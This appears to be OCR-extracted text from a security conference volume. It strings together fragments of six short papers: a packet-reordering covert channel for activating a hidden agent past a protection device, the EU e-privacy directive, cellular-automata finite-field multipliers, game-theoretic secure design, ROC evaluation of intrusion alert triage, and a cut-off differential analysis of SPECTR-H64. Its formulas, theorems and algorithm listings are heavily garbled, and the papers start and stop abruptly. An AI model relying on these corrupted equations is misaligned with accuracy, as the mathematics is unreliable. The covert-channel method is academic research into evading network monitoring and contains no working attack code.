PC(0,1) and back on the basis of dependence s =f (x).

We should invent a signal, which can be recognized by tracing system of the agent
in PC(0,1) and make active the agent in PC(0,1).

The simplest way consists of the following. Let S = {sq,....s ,, } be divided into

two parts S(1) and S(2) in such a way that intensity of packet flow from the sources
S(1) approximately equals to intensity of such flows from the sources S(2). Let
PC(0,2) send packets to PD(0) in turn from S(1) and S(2). The tracing system of the
agent in PC(0,1) calculates distances between packets coming from one address irre-
spective of the addressee of packets. If the packets in PD(0) are sent by the mentioned
above rule, all calculated distances are even (except for mistakes connected with in-
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sert or loss of packets). If we assume, that there are a few mistakes, the excess of the
number of even distances over the given threshold can be considered, as the signal to
the agent to become active and to begin the following stage of reception of the in-
structions from the adversary in a global network.

The procedure of the transition of a natural parameter k or to allocate k of the given

sets of addresses {f -1 s1) s f -1 (s )} does not differ from the procedure of activa-
tion of an agent.

Determination of these parameters allows for construction of some languages for
transmission of covert information from PC(0,2) to PC(0,1).

Let k£ =2. In the first language PC(0,2) uses code for 1 with a pair of packets with
source addresses s; and s, so, that s; is on an odd place (concerning the fixed be-

ginning of a flow), and s, - on an even place. Code for O demands to place a packet
with s on an even place, and a packet with s, on an odd place. In intervals between
the packets with source addresses s and s, it is possible to insert any sequences of

other packets, which are not breaking the specified rules.

Let k =3 and a monotonously growing sequence of addresses s, s,, 3 means 1.
A monotonously decreasing sequence of addresses s3, 55, s; means 0. The loss or
insert of one of these addresses in a combination of 0 or 1 follows revealing of a mis-
take. Thus packets with other addresses can be arbitrary placed between the packets
with addresses of a code.

To transfer the information by the ordered vectors of addresses of length k (k is
known) it is necessary to carry out training. We consider, that the set S is linearly
ordered for example, s < s, < ... <s, . The procedure of training is necessary to

restore at PC(0,1) the order < on set f_1 (S). Thus we consider, that if x and y belong

f_1 (s), then x = y. The procedure of training consists of the following. Having re-

ceived k from packets with source addresses s i Siys o Sip s PC(0,2) orders them

according to the relation < (less or equally) and sends the given packets to the protec-
tion device for the subsequent transfer to PC(0,1).

The opportunity of feedback from PC(0,1) to PC(0,2) is the essential acceleration
of the training procedure of the agents at PC(0,1). Such acceleration uses a leaving
flow of packets, in which the destination addresses repeat a sequence transferred from
PC(0,2) to PC(0,1).

3  Some Properties of the Covert Channels

Let's consider the problem of revealing the existence of the covert channel by the
warden. Let the warden U; be in PD(i) and calculate frequency of pairs of addresses
in a flow of packets with the purpose of revealing the covert channel between PC(i,2)
and PC(,1), i=1,...,m. Activation of the agent can be revealed by supervision of
pairs of addresses. When the described method of activation is used any pair of ad-
dresses (s, §) cannot appear.
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Let N be the number of packets, required for activation of the agents by the de-
scribed method. Now and further for simplicity we shall consider, that S| =... =S,

= n and the occurrence of addresses are independent from each other and appear with
probability 1/ M. Then using [1] we have the following theorem.

Theorem 1. Let n—o0, m— oo so that m=0n®), where 0<6 <12 and the

possible number of losses or inserts of packets is estimated O(1). Then the probability
of reception of the signal for the agent activation by the agent in PC(0,1) tends to 1

when N/\/m-n — oo

The time for revealing the covert channel is determined by the following theorem
(also received with help of the results in [1]).

Theorem 2. [f m — o so that N, / (m2 Inm) — oo, then statistics of pairs neighboring

addresses with probability, tending to 1, will reveal activation of the agent in PC(0,1)
for the warden U ).

If 1/3 < 6 <1/2 | the activation can take place with probability, tending to 1, faster,
than the U, will find out that the covert channel exists.

4 Conclusions

The reordering of the sequence of packets can be used to construct covert channels.
Sometime the warden can easily reveal the covert channel at the first stage of com-
munication. We discussed little part of the properties of covert channels, which can
overcome the security mechanisms. A lot of mathematical problems here are still
unsolved. But the interesting thing is that the construction of effective security meth-
ods against such covert channels is a very difficult problem.
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Abstract. The digitalisation of networks thus offering of new services may en-
tail inherent risks to privacy of the user, as well as possible inhibitions on
his/her freedom of communication. This paper addresses issues of privacy and
fair processing of personal data in electronic communications. It focuses on the
analysis of the Directive 2002/58/EC “on privacy and electronic communica-
tions”. Emphasis is given on the provisions concerning traffic data and on the
prohibition of the use of cookies as an expression of confidentiality and protec-
tion of anonymity. This paper further refers with the intention to introduce
technology neutral rules and argues that this objective is a contradiction per se
as each regulator, when setting out to regulate, still has a given, particular tech-
nology in mind. We argue that protection of privacy should be achieved through
rather than despite technology.

1 New Possibilities — New Risks:
Privacy in the Context of Electronic Communications

Publicly available electronic communications services, especially over the Internet,
open not only new possibilities for users but also new risks for their personal data and
privacy, as they enable continuous surveillance of communications and activities.
Privacy refers not simply to the “right to be left alone” and undisturbed. It consists in
a right of informational self-determination, which in its turn is a prerequisite of free-
dom and deliberative autonomy.

This paper addresses (some) issues of privacy and fair processing of personal data
in electronic communications and focuses on the analysis of the Directive 2002/58/EC
“on privacy and electronic communications”, as it pretends to be a technology neutral
“mandatory paradigm” and represents an overall regulatory approach of dealing with
the protection of fundamental rights while aiming to preserve functionality, transpar-
ency and security of ICT networks/infrastructure and balancing users’ freedoms with
other public and/or legitimate private interests.
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2 Regulatory Responses to Privacy Risks:
The Case of Directive 2002/58

The Directive 97/66/EC concerning the processing of personal data and the protection
of privacy in the telecommunications sector applied the general principles established
by the general data protection Directive (D 95/46/EC) to the telecommunications
sector, but the protection provided by this sectoral framework was deemed to be in-
sufficient. Discrepancies of interpretation in relation to the scope of application (ex.
application to the Internet) constituted one major problem. Moreover: The terminol-
ogy used was appropriate for traditional fixed telephony services but less for the new
online environment and the new services that have become available and affordable
for a wide public. The new “Electronic Communications Privacy Directive” (2002/58
EC) broadens the special protection afforded to all mobile, satellite and cable net-
works. New definitions ensure that all different types of transmission services for
electronic communications are covered. The purpose of the new framework was to
ensure that data protection rules in the communications sector are technologically
neutral and robust. The Directive 2002/58/EC imposes heavier duties on all service. It
seeks to respect the fundamental rights recognised by the Charter of Fundamental
Rights of the European Union (Art. 7 and 8).

Another aspect of great importance for the new Directive is the inclusion of defini-
tion and regulation of “traffic data”, defined as “any data processed for the purpose of
the conveyance of a communication on an electronic communications network or for
the billing thereof” (Art. 2b), i.e. those of traditional circuit switched telephony as
well as packet switched Internet transmission. Data referring to the routing, duration,
time or volume of a communication, to the protocol used, to the location of the termi-
nal equipment of the sender or recipient, to the network on which the communication
originates or terminates, to the beginning, end or duration of a connection or to the
format used are also enclosed. (Recital 15). While the content of communications is
already recognized as deserving protection under constitutional law, traffic data were
(and in many countries mostly still are) considered as “external elements of commu-
nication”, even if they reflect a level of interaction between the individual and the
environment that rests on similar grounds like the “message” itself. Traffic data are
transactional and interactive with the intents, interests and lifestyle of the user. To this
effect the distinction between traffic data (which are potentially “personal data”) and
content is not however easy to apply in the context of the Internet and certainly not
when referring to surfing. [2][11] Surfing through different sites should be seen as a
form of communication and as such should be covered by the scope of application of
rules guaranteeing confidentiality [3]. The provision of the recent directive has led to
a big improvement on the principle of confidentiality and anonymity be extending the
scope of Art. 5 to include not just the content of the communication but also the re-
lated traffic data. The processing of traffic data is admissible also for the provision of
electronic communication and networks, the detection of failure, errors as well as
unauthorized use of the communication system (Art. 15). However the European
directive adopts the principle of “data austerity”: systems for the provision of elec-
tronic communications networks and services should be designed in a way “to limit
the amount of personal data necessary to a strict minimum” (Recital 30). Furthermore
the routine retention of traffic data for purposes varying from national security to law
enforcement, allowed through Art. 15, could conflict with the proportionality, fair use
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and specificity requirements of data protection regulation, which prohibit the process-
ing of personal data for the sole purpose of providing a future speculative data re-
source [8].

On of the most controversial issues was the use of cookies (characterized as “pri-
vacy killing technologies” [4]), which is generally invisible to the user. Cookies are
principally not compatible with the principles of fair and lawful collecting of data,
laid down in all international instruments in the field of data protection. Precisely they
are an intrusion of the virtual right to be left alone and the right to communicate freely
and anonymously without — even indirect — external “surveillance”. The new Direc-
tive adopted a “balanced” approach. By recognising that these devices “can be a le-
gitimate and useful tool... for legitimate purposes such as the provision of informa-
tion society services”, the Directive legitimises this use, although it is highly
disputable, whether “analysing the effectiveness of web-site design and advertising”
(Recital 25) could be considered as a purpose equivalent to the protection of privacy.
In our opinion the user should always be given the option to accept or reject the send-
ing or storage of a cookie as a whole. Also the user should be given options to deter-
mine which pieces of information should be kept or removed from a cookie, depend-
ing on e.g. the period of validity of the cookie or the sending and receiving Web sites.
Moreover, cookies should be stored in a standardized way and be easily and selec-
tively erasable at the user’s computer.

The European regulator lays emphasis on the information and relies on “user em-
powerment” and “self-determination”. Although there are benefits to user empower-
ment, as they know their privacy preferences better than companies do, the “right to
refuse to have a cookie or a similar device stored” does not constitute itself an ade-
quately protective instrument. It is common practice of electronic companies to offer
downgraded functionality of their web services to users that do not accept their cook-
ies. Cookies management features, based on platform for P3P, have improved cook-
ies’ transparency. Serious problems remain however unsolved. Privacy protection
cannot be conditional on the choice of particular browser that may include advanced
cookie management tools. Rather this would violate the principle of technology neu-
trality. But the main objection to relying on user empowerment is simply, that PET’s
as a tool to fend for himself/herself are often and simply difficult to use. Furthermore,
there are also many products offered by industry, which are rather privacy invasive,
facilitating data sharing, than privacy protective. Hardly some of them satisfy the
criteria of fair and lawful processing [6].

The new Directive imposes obligation to service providers to offer “appropriate”
security measures to protect personal data. This provision reflects a “culture of secu-
rity” [7] and establishes — even indirectly — a “right to security”, which refers to
user’s claim to be given the right and the technical means to communicate his con-
tents confidentially by using suitable security methods. However security measures
are not identified with privacy protective and enhancing measures. The conceptual
separation between secrecy and privacy is depicted in the design of security tools.
Most of them have been designed without built — in privacy principles in mind. In
order to achieve and assure a high level of protection an additional tool should be
performed: a privacy impact assessment for the application of new technologies or the
introduction of new services, which has good potential for raising privacy alarm at an
early stage [5]. In the sequence, a privacy risk analysis should be conducted and pri-
vacy measures should be enforced.
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3 Conclusion

The rate of recent growth and development of ICTs results in the breakdown of a
system dominated by a normative approach and normative barriers. This development
has simultaneously discarded the myth of technology neutral law, as it is obvious that
the regulator has always a particular technology in mind as well as a specific cultural
understanding of the world and how technology will work in this world.

Protection of privacy must be achieved through rather than despite technology
[10]. The transposition of legal demands into technical standards is a first condition
for successful privacy protection [9]. However abandoning the law and the protection
to technology is no less dangerous, as experts and market driven forces lack the de-
mocratic legitimization to define and enforce privacy interests and rights. Technology
and law must be the fruit of interaction between regulator, technologists and users.
The future of privacy on electronic communications is destined to be a mix of regula-
tion, specified privacy policies and user empowerment through user-friendly
PETs [1].
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Abstract. This paper proposes two new multipliers based on cellular automata
over finite field. They are implemented with the LSB-first fashion using stan-
dard basis representation. Since they have regularity, modularity and concur-
rency, they are suitable for VLSI implementation and could be used in IC cards.
They can be used as a basic architecture for the public-key cryptosystems.

1 Introduction

Finite field GF(2") arithmetic is fundamental to the implementation of a number of
modern cryptographic systems and schemes of certain cryptographic systems[1].
Most arithmetic operations, such as exponentiation, inversion, and division opera-
tions, can be carried out using just a modular multiplier.

CA (Cellular Automata), first introduced by John Von Neumann in the 1950s,
have been accepted as a good computational model for the simulation of complex
physical systems [2-3]. Choudhury proposed an LSB-first multiplier using CA with
low latency [3]. For the better complexity, Itoh and Tsujii [4] designed two low-
complexity multipliers for the class of GF(2"), based on an irreducible AOP (All One
Polynomial) of degree m and irreducible equally spaced polynomial of degree m.
Later, Kim in [5] developed linear feedback shift register based multipliers with low
complexity of hardware implementations using the property of AOP.

Accordingly, the purpose of this paper is to propose two new modular multipliers
over GF(2"). The multipliers deploy the mixture of the advantages from the previous
architectures in the perspective of area and time complexity. They are easy to imple-
ment VLSI hardware and could be used in IC cards as the multipliers have a particu-
larly simple architecture.

It is necessary to give an brief overview of finite fields and cellular automata. First,
Finite field: GF(2") contains 2" elements that are generated by an irreducible poly-
nomial of degree m over GF(2). A polynomial f{x) of degree m is said to be irreduci-
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ble if the smallest positive integer n for which f{x) divides x" + 1 is n = 2"-1 [4-5]. Let
FOO)=X"+f, X" '+ ... +fix'+f, be an irreducible polynomial over GF(2) and & be a root
of f{x). Any field element GF(2") can be represented by a standard basis such as a =
a, d" +a, o +.. +a, where a; e GF(2) for 0<i<m-1. { 1, &, ..., d oty
is an ordinary standard basis of GF(2"). It has been shown that an AOP (All One
Polynomial) is irreducible if and only if m+1 is a prime and 2 is a generator of the
field GF(m+1). The values of m for which an AOP of degree m is irreducible are 2, 4,
10, 12, 18, 28, 36, 52, 58, 60, 66, 82, and 100 for m<100. Let ff(x) = x"+ x""+...+ x +
1 be an irreducible AOP over GF(2) and « be the root of ff(x) such that fla) = &' +
o' +..+ a+1=0.Then we have &'= &'+ & +...+ o+ 1, &""' = 1. This property
of irreducible polynomial is very adaptable for PBCA architecture. If it is assumed
that { 1, o, &, ..., &" } is an extended standard basis, the field element A can also
be represented as A=A o'+ A " +A & +... + A, where A =0 and A,e GF(2)
for 0 <i < m. Here, a = A (mod ff(x)), where ff(x) is an AOP of degree m, then the
coefficients of a are given by a,= A, + A, (mod 2), 0 <i<m-1.

Cellular automata: CA are finite state machines, defined as uniform arrays of simple
cells in n-dimensional space. They can be characterized by looking at four properties:
the cellular geometry, neighborhood specification, number of states per cell, and
algorithm used for computing the successor state. A cell uses an algorithm, called its
computation rule, to compute its successor state based on the information received
from its nearest neighbors. An example is shown below for 2-state 3-neighborhood 1-
dimensional CA [2-3].

Neighborhood state : 111 110 101 100 011 010 001 000

State coefficient 2 2 22 2t 2 2 2! 2°

Next state | 1 1 1 0 0 0 0 (rule 240)

In the above example, the top row gives all eight possible states of the 3-
neighboring cells at time f. The second row is the state coefficient, while the third
row gives the corresponding states of the ith cell at time #+1 for two illustrative CA
rules. There are various possible boundary conditions, for example, a NBCA (Null-
Boundary CA), where the extreme cells are connected to the ground level, a PBCA
(Periodic-Boundary CA), where extreme cells are adjacent, etc.

2 Modular Multiplier

This section presents two new multipliers, GM for a generalized irreducible polyno-
mial and AM for a specialized irreducible polynomial, over GF(2").

Generalized Modular Multiplier (GM): Let a and b be the elements over GF(2") and
f(x) be the modulus. Then each element over ordinary standard basis is expressed as a
O va AP+ +a,b=b, " +b 0 +... +b,and fix) =x"+f X" +f,
X" +... + f,. The modular multiplication p = ab mod f(x) can be represented with the
LSB (Least Significant Bit) first fashion as follows:

=a

m-1
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[Algorithm 1] Ordinary Modular Multiplication

Input 2 a, b, fix)

Output : p = ab mod f(x)

Initial value : p"™ = "1, P 2y .., P™0) = (0, 0, ..., 0)
(m) (am Ir A2y ey ao)

1: for i=m-1 to 0 do

2 for j=m-1 to 0 do

3 (z)j_a(t+1) +a(l+l)mlf

4 p ] p(:+1) +bm1lél(l+1)

In order to perform step 3 and 4, two 1-dimensional CAs having m cells are used
which are gray colored in Fig. 1 (a). a is inputted into m cells of PBCA which has a
characteristic matrix with all rules 170 for step 3. p is inputted into m cells of NBCA
which all CA has the characteristics of 204 for step 4. It is possible to perform multi-
plication in m clock cycles with GM over GF(2™).

AOP Modular Multiplier (AM): Let A and B be the elements over GF(2") and #(x) be
the modulus which uses the property of an irreducible AOP. Then each element over
extended standard basis is expressed asA=Ad +A, 0" +A,d" +..+A,B=
B, "+ B, d" +B, 0" +... + B, and #(x) = ¢/"'+1. From Algorithm 1, new modular
multlphcatlon P =AB mod t(x) can be derived which applied the property of AOP as
a modulus as Algorithm 2. CLS() in Algorithm 2 represents a circular shifting 1-bit to
the left. After the applying the property of AOP as a modulus, modular reduction is
efficiently performed with just CLS() operation. Step 2 is very simplified compared
with step 3 in Algorithm 1 for GM. Fig. 1 (b) shows the proposed AOP modular mul-
tiplier. It is possible to perform multiplication in m+1 clock cycles over GF(2™).

[Algorithm 2] AOP Modular Multiplication

Input A B

Output : P=ABmod o/""'+1

Initial value : PV = (p™D —peb o P = (0,0, ..., 0)
A"V = (A, At ..., Ag)

1: for i=m to 0 do

2: AY = CLS(A"™"Y)

3 for j=m to 0 do

4: P(i)j — P(i+])j,] + Bm,iA(Hl)j

3 Conclusions

This paper proposed two new modular multipliers over GF(2"). Since the proposed
multipliers have regularity, modularity and concurrency, they are suitable for VLSI
implementation. They can be used as a kernel circuit for public-key cryptosystem,
which requires exponentiation, inversion, and division as their basic operation.
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Fig. 1. Modular multiplier

Table 1. Comparison for modular multipliers

Item | Function | Number | Latency Hardware Critical
Circuit of cells Complexity Path
Chaudhury in | AB+C m m 2m AND AND+XOR
[3] 2m XOR
4m REG
Kim in [5] AB m+1 2m+1 (m+1) AND AND
m XOR +XOR(log,m)
2(m+1) REG
GM AB+C m m 2m AND AND
2m XOR +2 XOR
3m REG
AM AB+C m+1 m+1 m+1 AND AND+XOR
m+1 XOR
2(m+1) REG
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Abstract. This paper proposes a game theoretic methodology for analysis and
design of survivable and secure systems and protocols. Modern game theory
provides a natural setup for dealing with adversarial situations, which may in-
volve multiple adversaries with different objectives, resources, access and risk
tolerance, e.g., hackers, terrorists, and national intelligence organizations. The
solution based on the game theoretic methodology balances ease of access and
cost-effectiveness on the one hand, with survivability, fault tolerance, and secu-
rity on the other hand. The main methodological difficulty in developing game
theoretic model of real systems is quantifications of the “rules of the game”, in-
cluding set of feasible strategies and utility function for each player. Computa-
tional challenges result from difficulty of solving games with realistic number
of players and feasible strategies.

1 Introduction

Proliferation of the dual, military and commercial, usage systems necessitates devel-
oping methodology for evaluation and design of such systems. This methodology
should be able to account for dichotomy between military and commercial systems.
Military systems and networks are typically designed for survivability, fault toler-
ance, and security without much consideration for availability and cost-effectiveness,
while commercial systems and networks are typically designed for availability and
cost-effectiveness without much consideration for survivability, fault tolerance, and
security. Balancing these conflicting requirements presents a serious challenge (see
[1] and references therein). Currently, attempts to implement survivable and secure
architectures and solutions on commercial systems and networks are facing resistance
from commercial vendors due to negative effect on the availability and cost-
effectiveness. Solution to this problem lies in developing flexible architectures and
protocols allowing the system to adapt to the existing threats. This ultimate goal of
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developing adaptive systems and protocols capable of responding to specific threats
and moving along frontier describing the optimal trade-offs among various conflict-
ing requirements is an ambitious and probably distant goal. The difficulty of this
problem is especially pronounced in a case of distributed, large-scale systems. The
Internet represents the ultimate example of such systems.

The purpose of this paper is discussing possibility of using game theoretic models
for design and optimization of survivable and secure systems and protocols. Game
theory provides a natural framework for dealing with adversarial situations. In appli-
cations, adversaries differ in terms of their resources, access, risk tolerance, and ob-
jectives. Different types of adversaries may be hackers, malicious insiders, industrial
competitors, terrorists, and national intelligence organizations [2]. According to the
game theoretic methodology resources and access are formalized in terms of the set
of feasible strategies for each player, while risk tolerance and objectives are formal-
ized in terms of the player utility function. Each player attempts to maximize his
utility function by selecting a feasible strategy. The paper is organized as follows.
Section 2 describes quantifies regrets, i.e., loss in performance due to uncertainty.
Section 3 describes a game theoretic framework, which draws on complexity theory
of algorithms and complexity theory.

2 Regrets Due to Uncertainty

We assume that the network utility, e.g., the revenue generated by the network, is
quantified by some known function U (x|9) of the network control action x€ X
and environment @ € © . For simplicity we further assume that both sets X and

© are finite. Vector X may describe pricing, resource allocation, admission control,

routing, scheduling, etc., and vector @ may characterize topology, available resource,
traffic sources, etc. We consider a problem of selecting the network control action X
under incomplete information on the state of environment . If the state of envi-

ronment @ is known, the optimal control action X = x (@) maximizes the network
utility:

x" (@) = argmax U(x|0) . M
xe X
Formula (1) determines the best network response to a given state of environment & .

A situation of unknown external conditions & € ® can be modeled by assuming
that @ is a random variable with some probability distribution Q =(g(6)). Baye-

sian framework [3] assumes that distribution (J is known and suggests selection of

the control action X =X by maximizing the average network utility:
X =argmax EQ[U(x|t9)] , @)
xeX

where
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E, [U(x[0)]=Y U (u,0)q(6). 3)
14

Formula (2) determines the best network response to a given distribution O of the
state of environment. The problem, however, is that distribution () may not be fixed

or known to the network. In this paper we are interested in a case of external condi-
tions @€ O controlled by an adversary or adversaries. In this case distribution Q

is not fixed since adversarial selection of the distribution 0 may be affected by se-

lection of the control action Xx. Insufficiency of the Bayesian approach (2)-(3) in
adversarial situations follows from well-known benefits of randomized strategies in
adversarial situations. However, Bayesian approach (2)-(3) results in is either deter-
ministic strategy or strategy, which is indifferent among several actions.

To develop a game theoretic model for making decisions under adversarial uncer-
tainty we need to quantify the network loss in performance resulted from non-optimal
selection of the control action # due to the uncertain environment 8. Following [3]
we will quantify this loss by the following regret or loss function:

L(x{0) = maxU (x'0) U (x9) . @)

Note that there is a certain degree of freedom in selection of the loss function

L(u|9) [4]. This selection reflects the desired balance between different risk fac-

tors. Using loss function (4) in networking context has been proposed in [5]-[6].

3  Guarding Against Adversarial Uncertainty

Multiple adversaries can be modeled as players participating in a non-cooperative
game, where different players are not capable of coordinating their strategies [7]. A
formal model of K adversaries assumes that parameter 8 € © is a vector with K

component: 8 =(6,,..,8, ), where component 8, € ©, characterizes strategy of

K

adversary k,ie., ©@=®0, . Adversary k selects strategy 6, € ©, with prob-
k=1

ability g, (Hk ), and selections by all adversaries are jointly statistically independent:

K 5)
q©)=]]4.6,).

Assuming that the network selects control action Xx€ X with probability p(x), the
average loss is
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— K (6)
LPIO)=Y.> L) p(0)] 4. (6,)-

Generally mixed, Nash equilibrium strategy in this game determines optimal ran-
opt __ (
={p

case scenario mixed strategy for the adversaries Q" = (g” (6)) .

opt

domized strategy for the network P (x)), which guards against the worst-

Optimization of distributed adaptive protocols presents additional challenges due
to the stability concerns. Distributed protocols are often formalized as a non-
cooperative game, where each agents, representing a local protocol component, at-
tempts to maximize its own utility independently of other agents. The individual
utilities are defined through network resource pricing so that (hopefully unique) Nash
equilibrium in the game optimizes the overall network performance [8]. In practice,
each agent maximizes its individual utility by learning evolution, i.e., by making
decisions based on the observed history of its own decisions and obtained utility [7].
If this dynamic process converges, the resulting equilibrium is the Nash equilibrium
in the corresponding game [7] and thus optimizes the overall steady-state network
performance. The problem, however, is that learning algorithms, based on the best
responses to the empirical average utilities, do not converge if a typical case when the
corresponding game has mixed, i.e., involving randomization, Nash equilibrium [7].
This instability may result in overloading the network with the network state updates
and cause undesirable transient effects.
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Abstract. This work proposes a formal framework based on ROC anal-
ysis for the evaluation of alert triage in intrusion detection.

1 Alert Triage

Alert triage (AT) is the process of rapid and approximate priorization for subse-
quent action of an Intrusion Detection System (IDS) alert streandl. AT is a classi-
fication task that takes as input the alerts generated by a number of (distributed)
IDS sensors and classifies them producing a tag indicating its malignancy (degree
of threat) for each alert. Such tags priorize alerts according to their malignancy.
The tag assigned to alerts can be a (fuzzy) label (e.g. malicious, innocuous,
etc) or it can be a continuous value. We consider the evaluation of AT as a tour-
nament process where a raking is established among the competing systems. We
proceed as follows. First, participants are provided with a detailed model of the
target networks and their missions using a common ontology. Second, a window
of N consecutive alerts is selected from the alert stream (e.g. extracted from a
database) and sent to the participants. Third, participants emit their judgement
on each alert. Forth, the outcomes of each participant are represented by means
of a ROC point (non-parametric systems) or ROC curve (parametric systems).
The decision threshold (operating point) of parametric systems will be varied
in the evaluations so that all possible values of the decision threshold can be
evaluated. Finally, the system or group of systems that outperforms the rest of
participants is selected as the winner. The performance of the participants will
depend on the environment where the evaluation is carried out. We contemplate
three possible environments in increased order of complexity.

1.1 Ideal Alert Triage Environment
This scenario is valid at design time when we want to check new triage tech-
niques and for example fix some kind of requirement such as the maximum

* On sabbatical leave from iSOCO-Intelligent Software Components S.A.
! See [1] for an extended version of this paper.
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number of false positives allowable. The goal of an AT system is to maxi-
mize the overall percentage of correct decisions. The performance of paramet-
ric AT systems can be computed using the area under the ROC curve (see
[1). Although the performance of non-parametric AT systems can be mea-
sured using accuracy it is not always a good measure, particularly, if true nega-
tives abound. We contemplate the following four performance measures. Firstly,
E-distance = 1 — /W - (1 —TPF)2 + (1 — W) - FPF2. E-distance is the Eu-
clidean distance from the perfect classifier (point (0,1)) and the ROC point of
interest where W is a parameter that ranges between 0 and 1 and establishes
the relative importance between false positives and false negatives. Secondly,

F-measure = %. F-measure is a combination of recall (TPF) and
precision (PPV) where (3 is a parameter ranging from 0 to infinity that weights re-
call and precision. Thirdly, G-mean = /T PF x TNF. Geometric mean is high
when both TPF and TNF are high and when the difference between both is
1/24++/s-(s—a) - (s—b)-(s—c) if TPF > FPF
small. Finally, T-area = { 1/2 if TPF = FPF.
1/2—/s-(s—a)-(s—b)-(s—c) if TPF < FPF
T-area is the area of the quadrilateral formed by the segments connecting the
ROC point of interest and all the singular points of the ROC space except the
perfect detection system. Using Heron’s formula s = %HC i.e. half the perime-
ter, a = V2, b = VTPF?2+ FPF? and ¢ = /(1-TPF)2+ (1—- FPF)2.
An advantage of t-area is that it makes parametric and non-parametric sys-
tems comparable. For instance, we have used the above measures to rank three
AT systems a, b, and ¢ whose ROC points (FPF, = 0.0620,TPF, = 0.9712),
(FPF, = 0.1034,TPF, = 0.9811), (FPF, = 0.1298, TPF. = 0.9528) are de-
picted in Fig. [0 Clearly, the ROC points of a and b dominate the ROC point
of ¢ (see [I]). All measures discern between a & b and c¢. However, there is no
consensus among the different accuracy measures to signal a or b as a winner. We
advocate for the use of t-area given that it has an intuitive explanation (ROC
AUC), serves to compare parametric and non parametric systems, and does not
depend on parameters that establish an artificial weight between the errors.
IDSes misdetection costs are asymmetric (i.e. the cost of notifying a SSO
when an alert corresponds to an innocuous attack is really lower compared with
the cost of not adverting the presence of an intruder). Next scenarios allow one
to evaluate an AT system in a cost sensitive way.

1.2 Cost-Based Alert Triage Evaluation

We consider now scenarios where correct decision outcomes have associated a
benefit B and incorrect decision outcomes have associated a cost C. B(A | A)
represents the benefit obtained for correctly classifying an alert of type A and
C(A | B) is the cost incurred if an alert of type B was misclassified as be-
ing an alert of class A. These scenarios are valid to test AT systems in simu-
lated environments and to determine their optimal decision threshold. In this
case, an AT system outperforms another if it has a lower expected cost (EC).
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a b c

accuracy 0.9350 0.9100 0.8790

e — distance 0.9269 0.9256 0.9024
f — measure 0.8036 0.7761 0.6254
g — mean 0.9276 0.9379 0.9106

t — area 0.9276 0.9388 0.9115

Plot of ROC Points Accuracy comparison
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Fig. 1. Accuracy measure results for AT systems a, b, and c.

Thus, the goal here is to maximize the expected value (EV) of each decision.
The EC of a non-parametric AT system or a parametric AT system operat-
ing at a given decision threshold is given by: P(C+) - P(D+ | C+) - B(D+ |
C+)+(1-PC+))-P(D-—| C-)-B(D-| C-)+ P(C+)-P(D—| CH) -
CD-|C+)+ (1 —-P(CH+)) - P(D+ | C—)-C(D+ | C—). Two consequences
are inferred directly from that equation. First, two AT systems will have the

.e. TPF,—TPF, _ 1-P(C4+) _ B(D—|C—)+C(D+[|C-) . .
same EV if: FPE_FPF — PO BDTICH (D107 " This equation de-

fines the slope of an iso-performance line [2]. Second, the slope that corre-
sponds to the optimal decision threshold Soptimal can be computed as follows
1-P(C+)  B(D—-|C)+C(D+|C—)

P(CH) B(D+|CH)+C(D—|C+)

The ultimate objective of intrusion detection is to develop robust systems
able to face imprecise environments where the operational costs of an IDS will
depend on the importance of the target’s mission, the nature of possible future
attacks, and the level of hostility. We describe how to evaluate AT systems in
these environments in next subsection.

1.3 Alert Triage Evaluation in Imprecise Environments

These scenarios are useful for the evaluation of systems for real-world deployment
where misdetection costs not only will be unknown a priori but also will vary
over time. To decide whether an AT system outperforms others we will use a
robust and incremental method for the comparison of multiple detection systems
in imprecise and dynamic environments that has been proposed in [2]. This
method, named ROCCH (ROC Convex Hull) is a combination of ROC analysis,
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Fig. 2. (a) 3 ROC points and 3 ROC curves representing 6 AT systems. (b) Their ROC
Convex Hull. (¢) 2 iso-performance lines for 2 different sets of conditions

computational geometry and decision analysis. Thus, once the ROC points or
ROC curves have been computed for the different participants we proceed as
follows to select the best AT systems. Firstly, we compute the convex hull of the
set of ROC points that symbolizes a composite AT system. Secondly, we compute
the set of iso-performance lines corresponding to all possible cost distributions.
Finally, for each iso-performance line we select the point of the ROCCH with
the largest TPF that intersects it. Figure[2 (a) depicts the AT systems analyzed
above. To select which systems will be of interest for a collection of unknown
conditions we compute the convex hull such as it is shown in Fig. 2 (b) where the
circled points denote the points that forms part of the ROCCH and therefore can
be optimal for a number of conditions. Thus they form part of the composite
AT system chosen as a winner. Finally, Fig. B| (¢c) shows two illustrative iso-
performance lines corresponding to the slopes S; and S5. Thus, for each of the
different sets of conditions that determine the values of slopes S; and Sy the AT

systems a and b will be the optimal respectively.
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1.4 Conclusions

The ultimate goal of intrusion detection is to develop systems able to perform
their task confronting imprecise environments. That requires to evaluate IDSes
under a different range of conditions in order to properly design and develop them
to cope with different operational scenarios. However, the number of methodolo-
gies for the evaluation of IDSes or their different components is really scarce [3].
Moreover, the first experiences on the evaluation of IDSes have not been satis-
factory [3]. This work takes the first step towards the construction of a formal
framework for the evaluation of a specific component of IDSes —alert triage.
This framework not only allows one to select the best alert triage system but
also to make practical choices when assessing different of its components.
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1 Introduction

Recently [3] the data-dependent permutations (DDP) has been proposed as cryp-
tographic primitive. The twelve-round cipher SPECTR-H64 [1l2] is an example of
the DDP-based ciphers suitable to cheap hardware implementation. This paper
presents differential analysis (DA) of SPECTR-H64 and shows that the exten-
sion box E is a critical part in its design. Modifying the E box the eight-round
version SPECTR-H64" has been proposed.

2 Security Estimation of SPECTR-H64

Trying different attacks against SPECTR-H64 (description of which one can
see in this volume [4]) we have found that the DA is the most efficient. Our
best variant of the DA corresponds to two-round characteristic with difference
the (AL, AF), where AV denote the difference with arbitrary k active (non-
zero) bits corresponding to the vector W. Let Ay, . ;. be the difference with
k active bits and i1, ..., i be the numbers of digits corresponding to active bits.
We shall also denote a difference at the input or output of the operation F
as 0f or AF, respectively. The (A§, Af) difference passes the first round with
probability 1 and after swapping subblocks it is transformed in (AL AF) (see
Fig. 1). In the second round the active bit passing through the left branch of
the cryptoscheme can form at the output of the operation G the difference
A]G, where j€{1,2,3,4,5,6}. Only differences with even number of active bits
contribute to the probability of the two-round iterative characteristic. The most
contributing are the differences A2G\z‘,i +1- The most contributing mechanisms of
the formation of the two-round characteristic belong to Cases la, 1b, 1c, 2a, 2b,
3a, 3b, 4a, and 4b, where i€ {1, ..., 32}, described below.
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Case la includes the following elementary events:
1. The difference ASZ i+1 1s formed at the output of the operation G with

probability p(z A _ py (Ag‘;Z z+1/51|z)

2. The difference Az\l 41 1s formed at the output of the CP box P’ with
